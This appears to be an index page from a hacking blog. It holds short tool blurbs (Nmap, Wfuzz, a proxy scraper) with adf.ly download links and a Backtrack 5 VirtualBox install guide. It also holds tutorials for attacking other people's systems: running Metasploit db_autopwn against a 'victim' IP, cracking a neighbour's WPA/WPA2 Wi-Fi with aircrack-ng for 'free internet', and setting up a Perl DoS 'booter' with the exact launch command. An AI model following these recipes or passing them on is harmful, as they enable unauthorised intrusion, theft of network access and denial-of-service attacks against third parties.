NETWORK SCANNING TOOL : NMAP

Nmap ("Network Mapper") is a free and open source utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts.

Download here (Linux Users):

Click Here To Download

Download here (Windows Users):

Click Here To Download

Read More

WFuzz 2.0

Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc), bruteforce Forms parameters (User/Password), Fuzzing,etc.
It's very flexible, here are some functionalities:

• Multiple Injection points capability with multiple dictionaries
• Recursion (When doing directory bruteforce)
• Post, headers and authentication data brute forcing
• Output to HTML
• Colored output
• Hide results by return code, word numbers, line numbers, regex.
• Cookies fuzzing
• Multi threading
• Proxy support
• SOCK support
• Time delays between requests
• Authentication support (NTLM, Basic)
• All parameters bruteforcing (POST and GET)
• Multiple encoders per payload
• Payload combinations with iterators
• Baseline request (to filter results against)
• Brute force HTTP methods
• Multiple proxy support (each request through a different proxy)
• HEAD scan (faster for resource discovery)

• Dictionaries tailored for known applications (Weblogic, Iplanet, Tomcat, Domino, Oracle 9i, Vignette, Coldfusion and many more. (Many dictionaries are from Darkraver's Dirb, www.open-labs.org)

• Payloads:
• File
• List
• hexrand
• range
• names
• hexrange

• Encodings:
• random_uppercase
• urlencode
• binary_ascii
• base64
• double_nibble_hex
• uri_hex
• sha1
• md5
• double_urlencode
• utf8
• utf8_binary
• html
• html decimal
• custom
• many more...
• Iterators:
• Product
• Zip
• Chain

Basic example

Basic example

 Download Link:-http://adf.ly/d5fML

Read More

IP Proxy Scraper

Description
This lightweight yet powerful application extracts IPs and ports from a list of specified websites. If you are in need of multiple proxies simply insert the desired website URLs and with a single click your proxies are gathered and presented to you in the output window, ready to be copied and saved.



Features

• Scraping multiple IP and Ports from alist of websites
• Copy the scraped result into the clipboard

Download Link:-http://adf.ly/d5eRp
VirusTotal Scan:-http://adf.ly/d5eFn


IP Proxy Scraper for Windows




IP Proxy Scraper for Linux




Changelog
Version 2.5.0.1
- Fixed the status counter


Version 2.5.0.0
- Extended the recognition patterns
- Fixed two patterns
- Importing bigger textfiles are now beeing processed without freezing the UI



Version 2.4.2.0
- Extended the recognition patterns




Version 2.4.1.0
- Fixed minor bug
- Added more recognition patterns
- Added option to view a list of succeeded and failed websites from which it tried to scrape




Version 2.4.0.0
- Optimized code
- fixed minor bugs
- Added cancelation for the scraping process




Version 2.3.0.1
- Fixed minor bugs
- Added more recognition patterns




Version 2.2.0.2
- Fixed multiple bugs
- Added more recognition patterns of encodet proxys




Version 2.0.0.5
- Optimized code
- Redesigned the UI
- Added about dialog




Version 1.0
- Initial release

Read More

How To Install Backtrack 5 On Virtual Machine

If you want to experience and experiment with backtrack 5 hacking tools such as kismet, metasploit etc. Then today i am going to show you how you can install and run Backtrack 5 Operating System inside a virtual machine(VirtualBox). It works on all computers running any operating system such as Windows Xp, Windows 7, Or Mac Os X. So  lets get stared installing backtrack 5 on your operating system.

Downloading Softwares to install Backtrack on Virtual Box 

1. First you will need Virtual Machine to run Backtrack 5 which you can Download From VirtualBox Website. After downloading VirtualBox Install the program. Installing VirtualBox is really simple like any other program you install on your computer.

2. Then you will need Backtrack 5 .iso file which you can download from Here with below configuration. You can download it directly or via torrent thats your choice.

Getting started installing Backtrack 5 on Virtual Box

1. Open VirtualBox and Click on New. Then a popup box will appear in that write Name as backtrack, Type as Linux and Version as Ubuntu as shown in below picture and click on Next.

2. Next allocate memory to your virtual machine. I usually allocate half the ram i have which is 2GB of 4GB as shown below and click Next.

3. Then choose second option Create Virtual Hard Drive Now from three options and then click on Next.

4. Then Choose VDI(Virtual Disk Image) From all the options and click Next.

5. Now to options will come to allocate size on Hard Drive from that choose Dynamically Allocated and click Next

6. Then leave name as it is and allocate the size to arround 15-20GB and click Create.

7. Now you will have your virtual machine on left. To start it double click the virtual machine. As you running it for the first time you need to configure it.

8. Navigate to the Backtrack 5 .iso file we downloaded by clicking on button i highlighted in red in below image and select it and click on start.

9. After clicking on start click Enter and leave the setting as it is and press Enter again.

10. Now it will ask for command so type startx and press Enter and it will load user interface of backtrack.

11. Click on Install Backtrack icon from desktop and it will open installation window. Now leave language to English and click on Forward. It will now ask for location, Enter your location and press Forward.

12. On Step 3,4,5,6 you don't need to do anything just click on Forward and on step 7 Click on Install. It will take couple of minutes and you will have backtrack 5 install on your computer.

13. Now will need to enter username and password to enter backtrack, the default username for backtrack is root and password is toor. You can use passswd command to change your password.

14. Done you now have Backtrack 5 running on your virtual machine

Read More

Attack An IP With Metasploit & NMAP

Hello guys, howz you all ? Vandan here. First of all I want to say thanks to XEO Hacker for giving me chance to write for this blog and I will try my best to give you guys the best I can. I have chosen "GOOGLE WORM" as my nick in hacking world hope you guys like it as well.Lets come to the tutorial. Tomorrow I have posted about ClickJacking Attack in which I have given an idea about ClickJacking and the ways how to do it. Today I am going to write about Nmap with Metasploit. Let's start . 

Steps to Follow

• First download Metasploit 3.3 from the official website.
• Let it install and towards the end of the installation it will ask if you would like Nmap installed also, choose YES. 
• Once you have installed the Metasploit, the below screen will open up.

• Now type db_create. 
• Once you have typed that type nmap, it will load nmap as shown in below image.

• You need to configure your scan now, I usually do a simple -sT -sV scan which will tell us the open ports and services running on the victims computer. 
• Now type nmap -sT -sV xxx.xxx.xxx.x (X's being victims Ip number)

• Now give it 5 minutes to complete the scan,Once that is complete if you are lucky you should get a response like this...

• This is basically a list of the open ports and services running on the target machine. 
• Now the handy feature of the metasploit 3.3 framework is the autopwn feature, this basically searches and runs all matching exploits in the Metasploit database against the target machine and if successful will create a shell or similar privilege for the attacker.
• Now once you have the nmap results delivered back to you showing the open ports and services type db_autopwn -p -t -e.
• From this point you will either have access to the victims computer through a successfully launched exploit or you will get a response saying the machine wasn't vulnerable to any of the exploits in the Metasploit database. 
• Unfortunately on this particular machine I found it wasn't vulnerable as the image below proves.But if you are in luck and the targeted computer is vulnerable to exploits then BOOM.
• Good luck. Have fun !!!

Read More

How To Crack/Hack Wi-Fi WPA/WPA2 Password Through Backtrack 5

What We Need to crack/hack Wi-fi Password ?

1)     Backtrack 5 [ R1 or R2]

2)     Compatable Wi-fi Card


So Let's Start... 1st open Terminal and Then Follow My Steps :

1)In Terminal type : airmon-ng there we can see interfaces

2)Then type : airmon-ng start wlan0 It must found proceses

3)then we type : airodump-ng mon0 it will start scanning wi-fi networks

4)copy bssid and tpye : airodump-ng -c (channel) -w (file name) --bssid (bssid) mon0

5)type : aireplay-ng -0 5 -a (bssid) mon0

6)click on places home folder drag in terminal wpa-01.cap in terminal and type : aircrack-ng (file Directory) or drag file in terminal

7)type in terminal  : aircrack-ng (filename)*.cap -w (dictionary location) And Hit Enter !

Success ! ! ! Success ! ! ! Success ! ! !

♦ ☼ So enjoy free high speed internet, give your comment below ☼ ♦

Read More

How To Make A PuTTy Booter

Download WinSCP
Download PuTTy

DoS.Pl Script

Login as per normal. (normally the username is root & the password is provided by the host provider) This tutorial is based on CentOS.

Code:

yum install perl -y

Log into WinSCP (with the same details as you had used before to log into PuTTy)

Drop the "dos.pl" anywhere on that page.

Log back into PuTTy and type the following to launch an attack

Code:

perl dos.pl <ip> <port> 65500 <time>

Code:

perl dos.pl 1.1.1.1 80 65500 120

Read More